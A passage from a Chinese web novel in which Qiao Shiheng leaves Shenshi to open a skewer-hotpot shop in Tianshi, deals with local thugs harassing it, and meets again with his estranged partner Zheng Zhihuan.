蒙久忽然重重叹了口气，“造化弄人啊，也不能说是造化弄人。” “怎么了？” “我女朋友和她家里的人一看我这么坚决，为了她不惜跑去天市开店，可把她们感动坏了，直到我店面装修差不多了她们才相信，我女朋友当场就表示要跟我来申市生活，你看看，这事儿闹得，我那店面盘了三年呢，这下可好，还得盘算着出手。” 乔施文问他：“那你盘店面盘了三年，你得花多少钱啊？” “可不是巧了，你猜我为什么盘三年？”蒙久解释，“天市高低也是个直X市是吧？那几个核心区域我都没敢想，好在我女朋友父母也不在城里，她老家在城郊，属于外围了，叫安南区。那附近有不少学校，有什么中专、大专之类的技术学院，也有一些厂区，写字楼什么的，治安也不是特别好，所以那边店租竟然意想不到的便宜。”他举了三根手指，“一年十万，三年三十万都算贵的了，这个价钱能租个八十平的店面，在申市，你敢想？” 不止乔施珩，乔施文也惊诧：“真的假的？那还真的不算贵，你就说我们那破城中村，那八十平都得多少了？” “是吧？这也是我为什么二话不说盘三年，对了，盘三年还便宜五万。” 乔施文忽然想到：“那不能是凶宅吧？” “那当然不能，我查过了，前面几个租户都挺正常的，绝对不是。” “那就好，那你要脱手应该也不难。” “我就是可惜，装修都是我亲自远程盯的。”他指了指自己的屋子，“你瞧我这儿，多有艺术感，那边就更别提了。” 他掏出手机，翻出照片给乔施文看，乔施文看了也直呼，“好看好看，像咖啡店，比你现在这个还有艺术感。”她瞧了瞧蒙久，“看不出来啊，你还挺有审美的。” 蒙久摆摆手，谦虚，“瞎整的。”他又惋惜：“给别人装了，我能不可惜么。” “转给我吧。” 乔施珩忽然这么说。 第60章 “我打算去外地了。”…… 蒙久这个人很仗义，他知道乔施珩没有经验，就提出帮助他将琐事都打点好，乔施珩觉得这样对蒙久不太公平，就提出了合伙，可蒙久却拒绝了。 他拒绝的理由是合伙容易闹出矛盾。 “我最开始开店就是跟人合伙，结果好好的兄弟，老死不相往来了。”他摆手，“我不跟你合伙，但我该帮的绝对帮你。” 乔施珩很不好意思，“这样多不好意思。” “你以后常常带朋友来我这里吃饭，或者在朋友间多多宣传我的店就行了。” 乔施文倒是一反常态，没说什么。只是在蒙久打趣的时候，她跟着说：“你放心吧，你这样热心肠的人不发财谁还能发财。”说着，就下单了一棵发财树给他送来。 回家的路上，两人没坐车，顺着街道往前走。 “为什么要去天市？”乔施文担心，“是因为郑先生的事情让你苦恼吗？” 乔施珩没跟家里人说过他和郑先生之间的具体细节，现在也并不打算告诉乔施文。 “我只是想出去透口气。” 太压抑了他想。 过去这一年，好像把以往没吃过的亲情、友情、爱情的苦，全都吃了。 乔施文想了想，觉得乔施珩这样做也挺好的。 “你毕竟长时间不在家里，很多年没怎么和我们待在一起，回来后，其实应该算是磨合期吧，好不容易磨合好了，你又要离开了。”乔施文还是问他：“哥，你会很讨厌我们吗？” “不是因为你们啊。” “我知道，我的意思是，你之前是不是挺讨厌我们的？” “讨厌肯定谈不上，再怎么说我们也是一家人。只是你和大哥的有些想法和做法，我不能赞同。”乔施珩虽然觉得自己多话，但还是念叨了一下，“我始终认为，我们就老老实实做人，本本分分做事这样就最好了。” “我知道。”乔施文笑嘻嘻，仿佛并不把那几天的网暴当回事，“你看我不就是投机取巧失败的典型。” “你很好了。”乔施珩没想到她会在经历打击之后转变得这么快，也或许，她骨子里就是个坚韧的人。“我之前操心你是最多的，因为你没有按照我预期的路去走，走歪了。好在如今也还不错，等你出去历练一番，更能看清自己，看清世界。” “好官方哦。”乔施文踩着路上的石板砖走，忽然想到：“你盘店的钱有吗？我把我值钱的奢牌都卖了，虽然钱不多，但也可以支援你一下。” “不用了。”乔施珩叮嘱她：“你卖的那些钱你要自己收好，以防在外面要用钱。” “我盘店的钱我自己有点积蓄，嫂子那里也有不少。”太芬之前给他看过家里的账，所以他知道家里有多少积蓄，而且太芬也总想着帮他攒结婚用的钱，几乎帮他攒齐了彩礼和婚礼一套下来的钱，而且她攒好的这部分钱算是非必要不动用。 所以这部分钱足够他开店了。 “我就知道嫂子有钱。她平时都用她卖破纸箱子的钱，只有轩轩婷婷上学不够用才问你要钱。” 乔施珩笑了笑，其实不然，家里确实困难。“你别忘了，还负担你学费和生活费呢，能攒下来的钱其实也不是很多。” “哎呀，我有钱了也会帮衬他们的嘛。” “所以现在好了很多啊，人不动一动，怎么好找出路呢。”乔施珩也不知道自己开店能不能成功，但他能够知道自己不会娶老婆了，所以值得赌上一把。 回家后他和太芬说了这件事，他以为乔施军会跳脚，站出来反对，没想到乔施军竟然赞成。 “依照我看，你也确实应该出去躲躲了。”他犯难，“先不说你开不开店，那郑先生要是三天两头搁这里守着，那谁受得了。” 太芬把银行卡拿给乔施珩，“这都是给你攒的老婆本，你全都拿去用，家里不用担心，够用呢。” “就是，现在我跟你嫂子两个人，就全心全意打理咱们那小摊，绝对没问题。”乔施军鼓励他：“你就大胆去做，赔了也不要紧，赔了就回来跟咱们一起卖串。” “说什么呢大哥。”乔施文当即表示：“你这是乌鸦嘴，那肯定必须红红火火。” “对对，我乌鸦嘴。” 乔施文走的那天，乔施珩把她送去机场跟那边的负责人会合。 这天还下着大雨，乔施文不想让他送，乔施珩坚持送。这算得上是乔施文除去旅游之外去得最远的地方了，乔施珩找到负责人再三确认了关于她安全在内的一些事项，最后乔施文无奈把他拉到一边。 “我是正规渠道去的，你别担心了。” “再正规我也得问两句啊。”乔施珩看着另外两个女孩子，“人家不都是家长来送。” 陪着乔施文候机，到最后把她送上飞机离开。 一整个早上，乔施珩都有点恍惚。 他不想再去想对和错的问题，他只知道，这个女孩子要去很远的地方了，去见那片他曾见过多年的天空。 从机场出来，他没回家，而是去了仓库。 仓库还是老样子，不同的货物区域不同的人在忙。 宋来出去送货了不在，陈新也不在。 乔施珩在秦姐的办公室里等陈新。 “小乔我老早就想问你了，你这皮肤上怎么连一点儿斑斑点点都没有？你看我，长了一脸斑。”秦姐举个小镜子，观察自己脸上的斑斑点点。 “你都用什么护肤品啊？” 乔施珩想了想：“大宝。” “……”秦姐感叹：“年轻好啊。” 陈新在外面不知道干什么去了，甩给乔施珩一个饭馆的地址，让他去这里吃饭。 已经过了午饭点了，乔施珩确实还没吃饭，就坐地铁去了。 陈新已经点好了菜，招呼他：“快吃。” “这顿饭我请。”乔施珩有些不好意思：“我有事想跟你说呢。” 陈新笑眯眯：“我已经猜到了。” “啊？”乔施珩更不好意思了：“你都猜到了吗？” “很难猜吗？”陈新并不意外：“你看起来就不是会一辈子都在我这里送货的样子。而且你这么久不来上班，我当然能猜到。” “对不起啊。”乔施珩说：“我打算去外地了。” 这显然出乎陈新意料，“去外地？去哪里？为什么？” “去天市，我朋友有个店在那边，要转手，我盘下了。打算过去开个店。”乔施珩不好意思：“卖串串。” 陈新担忧：“你没这方面的经验，会不会太冒险？” “我朋友也是开这个店的，有些事情他会帮我，再说了，我嫂子那个串串，卖得也不错。” 陈新没再质疑他，而是鼓励他：“那挺好了，可以去试一试。” 但是他似乎有什么心事，就没再说话了。 直到一顿饭吃完，他才开口：“小乔，我想有些话我不说你也应该明白。” 乔施珩不确定他是不是想说那种话。 “其实做朋友才最舒服，你不觉得吗？” 乔施珩点点头。 “改天晚上大家聚个餐，给你送行怎么样？” “不用了，不用麻烦了，我想明天就先去看看店面的。”乔施珩感觉不好意思：“我还没去看过呢。” “这么急？” “反正也没什么事，也不是马上就搬去，我只是先去看看。” 其实要去看看这件事并不是乔施珩主动提起的，而是蒙久刚好要过去，想带他去看看，再顺便一起回来。 所以时间才会比较赶。 蒙久这次去天市还是为了女朋友，不过他带乔施珩去看店的时候倒是没把女朋友带着。 从高铁站下来后他们打了辆车，一个多小时才到店铺前。 快到的时候乔施珩看了看四周的环境，确实不比中心城区繁华，但也不算偏僻，只是房屋道路这些基础设施比较陈旧。 “以前这片还是比较繁华的，后来开发了其他城区，这里也就成了郊区了。”下车后，蒙久指着一边告诉他：“那边学校多。” 他又指着另一边：“那边是厂区。” 最后他指着正面：“这就不用介绍了吧，一看就知道是小区哈哈。” “哦，对了，这附近还有商场呢，算是这个地方的中心区域了。”蒙久掏出钥匙打开店门，“快进来看看。” 这个店里装修的风格整体很简约，整体呈现灰白的视觉效果，看起来很简约。 “我这个人就喜欢简约风。”蒙久打包票：“你放心，桌椅板凳我都看好了，都是简约风，适配得很，还好打理。” 走现代简约风确实不错，乔施珩看了看蒙久给他看的桌椅板凳的图片，放在店里确实很合适。整体来看的话，线条干净流畅，呈现浅色调，采光通透，清爽整洁。 “你店名选好了吗？做招牌的时候咱们也就适配这个简约风，保准能行。” 乔施珩想了想，还是决定叫小乔串串。 他跟蒙久在天市待了两天，敲定了不少细节。蒙久女朋友的表妹没考上大学就出来工作了，之前一直在奶茶店，现在打算换个工作，蒙久就推荐给了乔施珩。 “所以你现在是店没开呢，店员倒是找好了。”乔施军问他：“靠谱吗？那孩子。” “看着能干呢。” “那就好，你开店就不能心软知道吧？你别再包子性格让别人欺负了去。” 太芬问他：“那住哪儿啊？” “店里后面有间房，刚好能住。” 太芬点点头：“你自己去，我们还是有点不放心。” “没事呢。很多东西要准备，要学习。”乔施珩想：“我明天就直接过去。” 乔施军欲言又止，倒是太芬说：“郑先生前天晚上来过。” “你们没把我要走的事儿告诉他吧？”《 》 60-69 第61章 磕磕绊绊中，这店也就开…… “没说，不过他也是略站站就走了，没说什么。”太芬有点犹豫，但还是问：“你们之间，究竟怎么回事？” 乔施珩看了一眼乔施军，他沉着脸，发现乔施珩看他，就瞪眼：“看我干什么？你要说就说，不说就算。” “没什么，就是我不想再继续这种关系了。” 乔施军打开保温杯喝水，“你老婆本都用了，肯定也不会娶老婆了，那你以后一辈子怎么办？” “别说这些了。”太芬出来打断这沉重的话题。 乔施军还是说：“你现在三十多岁，不觉得有什么，等老了以后呢？你连个说知心话的都没有。” “说什么知心话，你跟我之间也没讲过什么知心话！能一辈子不红脸走到最后的夫妻又能有多少？那隔壁好几家不都离婚了，现在离婚率那么高，谁能保证不是一个人到老。你净说些没用的。” 被太芬蹭了两句，乔施军也没再继续说下去，他只摆手：“随便吧，我也不管了。” 乔施珩始终没打算向他们坦白，他们能够接受这样的自己，他就已经很知足了。 走之前他本来想约杜慧慧，但杜慧慧恰好不在申市，没约成，但杜慧慧表示会去天市旅游，顺便光顾他的新店。 吃完晚饭他出去散步，正巧遇到潘以佳在遛狗。 老旧的城中村，灯光昏黄，乔施珩双手插兜，跟在她和狗狗的旁边，漫无目的地走着。 “其实这样也好，你走了以后，他碍于工作的关系，不可能追去天市，也许从此以后也就能彻底分开了。” 潘以佳是个新闻工作者，乔施珩问她：“没收到一些关于他的新闻消息吗？” “看起来，你比我先知道。” “我之前就知道了，但看网上一直风平浪静的。”乔施珩问她：“你是怎么知道的？” “我朋友也是做自媒体的，算是大V，比较有影响力的那种。我还有朋友是狗仔，总是跟明星八卦之类的，他收到了爆料信息，就发来询问我们的意见，我让他不要发，但看起来，他可能不会听我的。” “为什么？” “因为对方给的钱够多，值得冒险。”潘以佳无奈：“就在晚饭的时候，他还给我打了电话，我不赞成并不是因为其他原因，而是我认为没必要做这种新闻，搞不好，会牵连自己。”她又话锋一转，“但是钱够多啊，总有人会冒险，不是我的朋友，也会是别人。” 晚上睡觉的时候，潘以佳果然给他转了两条爆料链接。 他点进去，里面贴满了郑先生的那些照片，并质疑他这个人以及他为何能脱身，是不是背后有更大的势力。他看了看下面的评论，果然不少人群起而攻之，从他这个人攻击到他这个群体。 令他意外的是，所有被牵扯到的人中，他刷到了李溪的博文。 如果不是她的名字是本名，加上她自己的头像，乔施珩都快忘了这个瘦削，哭得梨花带雨却又有些没心没肺的女孩子。原来，她也是个十八线开外的小网红。 【好无语，吃瓜吃到自己。还有，我要说到了酒店里，我们纯谈话谈到了半夜，你们能相信吗？】 下面评论全都是质疑、嘲笑、谩骂。 她还是选择了两个网友的问题回复了。 【都聊了些什么啊？大半夜纯聊天，你看看谁信！】 【从我的学习规划到人生规划，包括考研还是考G，又或者深耕网红圈。不信就算咯。】 【这么大的一棵树，你不抱紧，你还是个合格的网红吗？】 【我倒是想抱，人家说我不行。（摊手.JPG）】 乔施珩关掉手机，尽管有些睡不着，但尽力没去想这件事，他反而想到了自己的店，他又开始被那种茫然与未知的不安吞没。 睡一睡醒一醒，一夜过后，他看到早上六点潘以佳给他发的消息，大概意思是爆料者以及相关平台都收到了上面的J告，不允许拿已经调查完成的事情做文章。 乔施珩再点进去那两条链接，已经删除。 他又去网上搜相关消息，结果什么都没有，连李溪的博文也一并删除，甚至她还被禁言了。 乔施珩也说不上意外，毕竟权利这个东西，很多人一无所知。 拖着行李箱落地天市时，乔施珩有种恍惚感，他以前从没想过自己会来到这座城市呢。 蒙久女朋友的表妹叫苗婷玉，乔施珩听蒙久叫她小玉，就跟着叫小玉。小玉在乔施珩到达之前就已经把店里的卫生打扫好了，她是个勤快又开朗的姑娘，看到乔施珩来，就忙前忙后，端茶倒水。 最后到了晚饭点，就邀请他去家里吃饭。 “我家就在对面那小区里，很近的，而且我家里就我妈妈和我哥哥，没有别人。” “不用了，我随便吃一口就行，我还要收拾一下。” 小玉没再勉强他，她是个藏不住事的急性子，问乔施珩：“小乔老板，你打算招聘几个店员啊？” “怎么了？” “我有朋友，她之前在我们市比较有名的那个来一串分店里做后厨，后来因为跟那里的店长不合，就被开除了，本来她想去学美甲，可是又没有天赋，我想你要是……” “有经验，那也有健康证？” “有的，都有的，健康证她可以明天就去弄一个。” “好，可以过来试试。” 小玉开心地跑走了。 这方面蒙久跟他说过，他这个店就后厨两个人，前厅两个人就够了，不过他自己算一个，他就想着暂时还是少招一个了。而且后面蒙久还要带着他店里的后厨过来培训一下这边的新人。至于相关证书和货物渠道这些，一部分前期蒙久已经联系好了，只是有些手续可能还需要乔施珩跑一趟。 乔施珩可以用来住的那间房里面什么都没有，只有一张折叠床，他不得不去百货商店里买一些日用品。 回来的时候就看到店门口，小玉带着个又瘦又高的女孩子站在那里说说笑笑。 看到乔施珩来了，她忙介绍：“小乔老板，这就是我跟你说的我朋友，她叫苗楠。” “小乔老板好。” 乔施珩看了看她们两个人，他想，也正好省了招人的麻烦。 小玉问他：“那明天我们干什么？” “明天我要去跑一些琐事。” 小玉当即自告奋勇要陪同，乔施珩也就答应了。 小玉开着她那辆小巧的“剁椒鱼头”，带着乔施珩跑了一天。 晚上乔施珩就请她们两个在旁边的饭馆吃饭。 “小乔哥，听说你是从申市来的呀？”小玉好奇：“申市不比咱们这里好多了，又有名，又魔幻。” “偶然的机会，想过来做做生意，就来试试。”乔施珩简要地回答。 “你放心吧，蒙久哥都叮嘱了，让我们一定好好干。” “谢谢你们。” 乔施珩其实不善交际，但这两个女孩子比较活泼开朗，几乎没有让他觉得尴尬的时候。 只是晚上回到那间房，就会觉得冷清。 家庭群里，乔施文在报备自己的生活和学习，她那边的环境虽然看起来不怎么样，但风景优美，人也都很朴实。 新店起步阶段很多事情乔施珩都不懂，蒙久又执意不与他合伙，但蒙久却很乐意出力，带着人往他店里跑或者自己往他店里跑。 磕磕绊绊中，这店也就开业了。 因为这边他几乎没什么朋友，都是小玉和苗楠叫了一些朋友来捧场。 新店开业有折扣活动，又是周六，吸引了不少这附近学校的学生。 小玉特意让乔施珩捯饬了一番，她说男人靠美貌也是可以有饭吃的。乔施珩并不很赞同，依然穿着普普通通的一身衣服。 他们人手少，新店第一天人又多，几乎从早忙到晚。 等晚上歇业了，几个人都累趴下了。 好在顾客的评价都很不错，尤其是比较符合年轻人的口味，乔施珩不知道后面生意怎么样，心里没底得很。但既然选择了这一步，他没办法退缩了，就算撞上南墙，也只能撞上去了。 不过这阵子太忙了，他几乎没有想起郑先生，或者和郑先生有关的一些事情。也就只有深夜突然醒来时，还会有些恍惚，不知自己身在何处，犹置梦中。 又或者在干活的间隙忽然想到，但转念又会被忙碌的生活所打断。 蒙久对他的店放心不下，开业第二天就过来了。 “我准备在你这儿盯几天再回去。”他从锅里拿了串串出来吃，“好吃啊，你又改料了？” “没有，就加了点麻酱。” “我发现你这味道比我那店里的好吃，我回头也回去让胡师傅捣鼓捣鼓。” 蒙久在这几天，带着他又跑了一趟货商，连带着卖锅和冰箱的货商都拜访了一遍。 乔施珩很感激他，蒙久却不觉得有什么，他说大家都是朋友，帮一把没什么。 在他的帮助下，乔施珩的店运行得还不错。 每天都有不少客人上门，大多是附近的学生和上班族。 这天晚上，店里来了几个不速之客—— 作者有话说：好无聊，写困了[小丑] 第62章 “你谁啊？你少管闲事！…… 这个时候已经临近打烊的时间点了，客人都陆续走光了。 以乔施珩的眼光来看，这几个人应该是附近学校的不良学生。他们一共四个人，进来后就把走过地方的椅子全都踢乱了，然后找了个最里面靠窗的位置坐下。 小玉战战兢兢走过去，“你们好，可以扫码点餐。” 这几个人头一歪，“没有手机哦。” 小玉就把手里的菜单送过去，“推荐酸辣锅，是我们店的招牌。” 这几个人几乎把菜单从头勾到尾，然后扔给了小玉，小玉没接住，那单子就飘到了地上。 小玉把菜单捡起来，看着菜单上几乎勾满的勾子，也知道这几人恐怕不是来吃饭的。 “怎么办？”小玉回来问乔施珩，“一看就是来找茬的。” 乔施珩拿着单子走过去，对之前那个勾菜单的男生说：“不好意思，我们店锅底最多可以选择四种，提供不了六种锅底。” 那男人抬眼看他：“那你还做什么生意？我们就要六宫格锅底。” 乔施珩依然笑眯眯：“不好意思，后厨锅具最多只有四宫格，强行做六种口味会串味，影响口感。不如我们免费提供你们2份招牌小吃，可以吗？” 这个男生跟他讨价还价：“我们四个人，一人一份。” 乔施珩不想惹出事端，就同意了。 结果这几个人却说：“那锅我们不点了。” 原来是吃霸王餐的。 “抱歉，小吃是点锅底的专属赠礼，没点锅底的话没法送，这是店里的规定。” “你不是老板吗？规定不是你定的吗？” 乔施珩仍然不卑不亢，“抱歉，规定无法更改。” 这几个人互相看了看，终于选了酸辣加番茄鸳鸯锅底。 之后的几天，这几个人每晚都在快打烊的时候来，乔施珩不想让两个女孩子等太晚，就让他们先走，自己留下来收拾。 这天晚上外面下着大雨，乔施珩让小玉和苗楠先走了，他自己在前台边上坐着算账。 那几个学生喝了不少啤酒，其中一个就招呼乔施珩过去。 乔施珩过去后，他们就从锅里捞出一撮头发来，问乔施珩：“老板，就给我们吃这个啊？” 如果是一根两根，那么乔施珩可能还会不确定，可他捞出来一撮，乔施珩就知道他们是故意的。 “抱歉，给你们添麻烦了。不过店里的食材以及锅底出锅时都会严格检查，后厨人员也都按规定佩戴帽子，应该不会出现这种情况。”乔施珩指了指监控，“店里有监控，可以还原真实情况。” 这几个学生显然没想到监控这一层面，他们摆摆手：“那就不必了，以后要注意卫生啊。” 乔施珩离开没两分钟，接二连三杯子碎裂的声音响起，伴随着那几个学生的口哨声，玩闹声。他转身，见他们已经把自己喝啤酒的杯子摔碎了，甚至连啤酒瓶都要往地上摔。 他们甚至还挑衅似的看着乔施珩。 乔施珩没理会他们，他直接拿起手机报J。 “老板，报J威胁我们啊？我们几个都是J局常客了。”为首的那个直接摊牌，“请我们吃两顿饭能把你吃穷了吗？” 乔施珩犹豫了一下，为了防止事情闹大，他没说话。 “进去关一关就出来了，你这店恐怕经不起一直有人闹吧？”他朝乔施珩走过去，“你不会这么穷吧？几顿饭都请不起。” 乔施珩还是没有说话，这其实已经超出了他的处理范围。 这个人却上手点他肩膀，“看得出来你不富裕了，店里这么忙才三个员工，你自己还算一个，你也不想赔本吧？” 乔施珩实在有些没忍住，但他的语气很柔和，带着点示弱，但说出来的话却实在不怎么好听，“可是，没有这样要饭的呢。” “你说我们是要饭的？”这个人跳脚。 乔施珩意识到可能惹怒他们了，果然，他们几个开始把椅子乱踢，踢来踢去，制造出噪声来。其中有个小男生举起了他们吃剩的锅，就要往地上摔，乔施珩出声：“那个四百块。” 但没拦住，他还是摔下去了，汤汁洒了一地。 果然，在JC到之前，他们要跑路了。 外面下着瓢泼大雨，几个人往门口走的时候，乔施珩想拦住他们，但被他们一路推推搡搡着到了门边。 门外闪起了J车的彩色光线，乔施珩终于感觉踏实了一些。 他配合JC一起处理，那几个人确实是惯犯，JC都认识他们。也就是这个时候，乔施珩才知道他们不是学生，而是社会闲散人员，偶尔还会小偷小摸。 其中一个JC找乔施珩调出监控，直接让他定破损清单。 当然，那几个人肯定没钱赔。 但乔施珩还是按照流程，签了调解协议。 接下来几天，果然清静了。 可惜好景不长，立冬那天晚上，他们又来了。 仍旧是一进门就把路过的桌椅板凳全部踢歪。 小玉正在把它们摆放整齐，随即呵斥：“干什么呀你们？” “看不明白吗？吃饭啊。”为首的那个男孩子头发比较长，遮住了眼睛，还留着个狼尾，看起来流里流气。 “我们已经要关店了，东西都卖完了，没了。” “你们店门口又没摆关店的牌子，灯也没关，门也没关，怎么就关店了？”他找了张桌子坐下来，“顾客就是上帝，不知道吗？” 小玉想和他们吵，被乔施珩拦住了。 “抱歉，今天东西已经卖完了。” “少给我打官腔，我跟你说，今天我们是这个时候来，明天可就不是了。” 小玉着急：“你们想干嘛啊？收保护费吗？电影看多了？” “还真看多了。”他往椅子上一靠，“至于怎么打发我们，你们自己想。”他警告：“别再想报J，没用。” 乔施珩也不知道该怎么办了，但是一旦答应他们的要求，那只会是个无底洞。 他比较强硬，“有没有用，总要试试。” 就在他准备拿手机的时候，店门忽然被人从外面拉开，有人进来了。 小玉急忙说：“抱歉，我们东西都卖完了，今天……”她见到来人，声音都低了下来，“今天不营业了，明天再来吧。” 乔施珩看到郑祉桓从外面进来，也很诧异，他很久都没想起来郑先生了，店里人手不够，每天都忙到倒头就睡，没空想太多。 郑祉桓什么都没带，就一个人。 他进门后，扫了四周一圈，最后目光越过乔施珩，落在那几个看起来就是不良少年的人身上。 “怎么了？”他问乔施珩。 不等乔施珩回答，为首那男孩子反问他：“你谁啊？你少管闲事！” 听到这种语气，郑祉桓就知道大概发生了什么事情。 他走过去，给这些人普法。 “根据《治安管理处罚法》第二十六条，寻衅滋事，包括结伙斗殴、追逐拦截他人、强拿硬要、任意损毁财物等，一般处5—10日拘留，可并处500元以下罚款；情节较重的，10—15日拘留，可并处1000元以下罚款。”他冷冷问他们：“你们是属于哪一种？” “少在这里装，局子里我们去得比你多。” “那么根据《刑法》第二百九十条，聚众扰乱社会秩序，情节严重，致使工作、生产等无法进行，造成严重损失的，对首要分子……”他看向那为首的男孩子，“处3—7年有期徒刑；对其他……”他又一一扫过剩余几人，“积极参加的，处3年以下有期徒刑、拘役、管制或剥夺政治权利。” 他走到为首那男孩子面前，“滚出去并且不要再来，否则。”他俯身：“你会牢底坐穿。” “你吓唬谁呢！”那男孩子要伸手推他，被他握住手腕，又要抬脚踢他，被他压住腿。“我不会提醒你第二次。” 他手上用力，把人压在桌上，痛得那男孩子嗷嗷叫。 他的几个小弟要动。 “你们最好别动。”郑祉桓把那男孩子揪起来，他对一边的小玉说：“报J，我来跟他们沟通。” 小玉反应过来照做。 乔施珩没表示什么，他当然知道郑先生有他自己的处理方式，而且他也不想再总是招惹这些小混混，所以他始终站在一边，等郑祉桓处理。 Jc来了后，把人都带走了，郑祉桓也跟着去了。 乔施珩没跟他说什么，他也没有跟乔施珩说什么。 等车都走了以后，乔施珩后知后觉，问小玉：“今天周几？” “今天是周五。” 乔施珩看了看时间，不禁猜测郑先生是不是下班就过来了。 “小乔老板，他是谁啊？好厉害的样子，是个律师吗？” “不是。” “你怎么不跟去呢？那几个人真是无赖死了，他们就是想要钱，然后看我们好欺负，隔壁那几个店里都好几个男人在，你叫他们敢去。” 小玉和苗楠下班后，乔施珩在门前站了很久。 他不知道去处理事情的郑先生还会不会回来，他猜测他会回来。 但他还是锁了门。 可这个晚上他却没睡好，他总是醒，总是醒，像是睡着了，又像是没睡着。天亮后，他顶着两个黑眼圈去开门，那瞬间他其实没办法骗自己，他以为郑先生会在门口的。 可门外却空空如也，仿佛昨夜那个插曲，是一场梦。 他垂下眼眸，把门关上，又回去后面的房间里洗漱。 十一月份的天市已经很凉了，他穿了件毛衣，外面套上工作服，过一会儿货商就会送今天的食材过来。 可当他再次到门前，却发现玻璃门外，郑祉桓靠墙站着，手里拎着两份早餐。 隔着玻璃门，郑祉桓的目光停留在乔施珩的脸上。 像是很久都没见他，要仔仔细细将他的每一帧都看进眼里。 他们这样对视了一会儿，谁也没说话，乔施珩先垂下眼眸，他打开门。 郑祉桓站直身体，不知为何，他看着有些紧张，也或许能形容成局促，好像有些害怕自己开口说话，会惊了乔施珩，所以他即便不安，即便几次试图举起手中的早餐，却仍然什么也没说。 像是等待乔施珩的发落。 乔施珩下垂的目光定格在他那只拎着早餐，好似无处安放的右手上。 “为什么来这里？” “来看看你。”郑祉桓和乔施珩一样，没去看对方的眼睛，他也是垂着眼眸，目光落在乔施珩的工作服上，“我没想到，你会跑这么远。” 乔施珩想从申市那种压抑的环境里解脱，郑祉桓自然功不可没。 似乎做出离开申市，跑到天市做生意这样决定的乔施珩，让他非常吃惊，同时他也不能理解。尽管他很想质问乔施珩，但眼下真的见到人时，他却说不出任何质疑的话来。 那瞬间一种他自己也说不明白的情绪笼罩了他。 乔施珩看他欲言又止，难得在他脸上看到那么明显的犹豫。 可他还是说：“以后，别来这里了。” 第63章 “所以你判我死刑，我接…… 被宣判了“死刑”的郑祉桓显然有些不能接受，他像是个行至山穷水尽处的旅人。 他似乎想说什么，但开口的话却被一辆开到门口的小货车打断。 乔施珩打开门走了出来。 “乔老板，货来了。”司机从车上跳下来，热情地帮他从车里拎食材出来。 乔施珩一边跟他寒暄几句，一边拎着食材进店里。 当他再出来，郑祉桓已经不在原地。 他的店生意不错，才开业不到三个月，就已经很有人气。不管是前厅还是后厨，都忙不过来，乔施珩想了想，还是打印了两张招工启事贴在了店门口。 “是该招人了。”小玉一边擦桌子，一边说：“小乔老板你还要不停地调试口味，我们根本忙不过来。” 乔施珩自己所调制的锅底就是酸辣锅底，并且确实做得很好。但一个串串店不能只有一种口味，其他三种口味都是蒙久店里的口味被他略微改了一下，而他总是觉得不满意，事实证明，回头客几乎点的都是酸辣锅底，所以他还要再改一下其他三种口味，可太忙了，忙到没有时间。 当天下午就有人进门问是不是招人，但乔施珩实在太忙，就问她能不能等下班了再来，那个大姐欣然答应。 晚上下班后，在乔施珩拖地的时候，那个大姐推门进来了。 小玉急忙过来接过他手里的拖把。 乔施珩领着她找了张桌子坐下。 “我叫付用梅，就住在这附近，今年都四十六了，之前都在饭店干，前阵子那口子生病了，就辞了回家照顾他，现在他好了，我就再出来找点事做。” 乔施珩看她很朴实，又有经验，在和她谈薪资的时候也比较顺利。 “钱多钱少我都能干。” 于是，乔施珩的店里，就这样新增了一位跑前厅的梅姐。 送走梅姐，小玉她们也都下班离开了。 乔施珩简单收拾了一下就准备关门，却在锁门的时候，被人拍了两下门。 玻璃门外，郑祉桓有些狼狈地出现。 他还是穿着早上的衣服，只是似乎喝了酒，步伐有些不稳，外套敞开，里面的衬衫有些打湿的痕迹，好像是水洒上去了。 乔施珩看着他，他也在看乔施珩。 只是他比乔施珩先开口，“阿珩，我是真的不明白。” 乔施珩拿下锁，打开了门。 郑祉桓步履踉跄着进门，他解开衬衫的扣子，扑到最近的那张桌子上，又强撑着站直身体。 而乔施珩关上门，拉上了门帘。 他到控台倒了杯水给他。 郑祉桓接过水，却没喝，他看着玻璃杯里晃动的水面，“卫生间在什么地方？” 乔施珩指了指方向，他就跌跌撞撞跑过去吐了。 乔施珩看他痛苦地干呕，猜测他是不是一天都在喝酒。 他打开水龙头漱口，接着又捧起水冲了把脸。 这些都做完了以后，他又沉默着走回了刚刚的桌边，端起了那杯水，开水还烫着，他反复摩挲杯身，却久久都没能说出什么。 乔施珩比他更沉默。 在这间装修简约的饭馆中，他们相对无言很久，久到玻璃门窗上出现了水雾。 水珠攒动，顺着玻璃流下，留下一道清晰的痕迹。 像裂纹。 许久后，郑祉桓终于开口，他的声音低哑，干涩。 “对不起。” 他看起来很坦然，但抬眼去看乔施珩的时候，眼中始终雾气蒙蒙。 “我只是不明白，我真的认为我已经做到了我能做到的所有。我的人生到去年为止，都在我的计划之中。所有脱离计划外的冒险行事，也都是为你。” “有些很阴暗的事情，很难去解释，我也始终认为，知道得越少越好，所以很多事，我不会跟你说。我不是个理想派，我能走到今天，并不是只靠一腔热血。没人能只靠理想去完成理想，也没有一朵花真的能出淤泥而不染。” “我不懂什么是感情，我甚至不屑于感情。我不会表达，也或许我曾经轻视过你，没有正视过你，忽略过你的感受，将你会在我身边围绕着我转这件事视作理所当然，我都向你道歉。” 他的陈述无疑是带着一些悲伤色彩的，但此刻他却是笑了一下，像是嘲笑自己的无能。 “其实不结婚真的没什么，不会影响我的前途。只是人在屋檐下，不得不低头。所以我把屋檐掀了。但很多事的发生是必然的，没有这些事，我也掀不了压在头上的屋檐。” “说来说去，这其实是个死局。” 他放下那杯水，像是释怀了。 “所以你判我死刑，我接受了。” “毕竟，你的考虑很对。你总也应该要有自己的生活，不会一辈子都做个附属品。” “只是……” 他走到乔施珩的面前，看着他比从前显得憔悴的脸庞和眼下的乌青，小心翼翼靠近他。 “别剥夺我重生的权利。” 下一刻，乔施珩觉得肩上一重，在他没来得及反应的瞬间，堪堪接住这具倒下去的身体。 那玻璃门窗上的水珠，终于流淌到最低的地方，消失在地面。 空调机的声音呼呼作响，室内很暖，手里的这具身体更是滚烫。 乔施珩眼角湿润，尽管勇敢的自己已经在披荆斩棘，可软弱的自己还困在回忆的废墟里。 那片废墟里，没有爱，没人言说爱，却处处都有他刻下的爱的字样。 他留下刻痕，有人凝望刻痕。 可他已经鲜血淋漓，再刻不了什么了。 天市的温度要比申市低了好几度，郑祉桓穿着单薄，一整天又不知道跑到什么地方买醉，导致发烧。 但烧得没有很高，乔施珩就冲了退烧药给他喝，又帮他物理降温。 折腾到凌晨才睡。 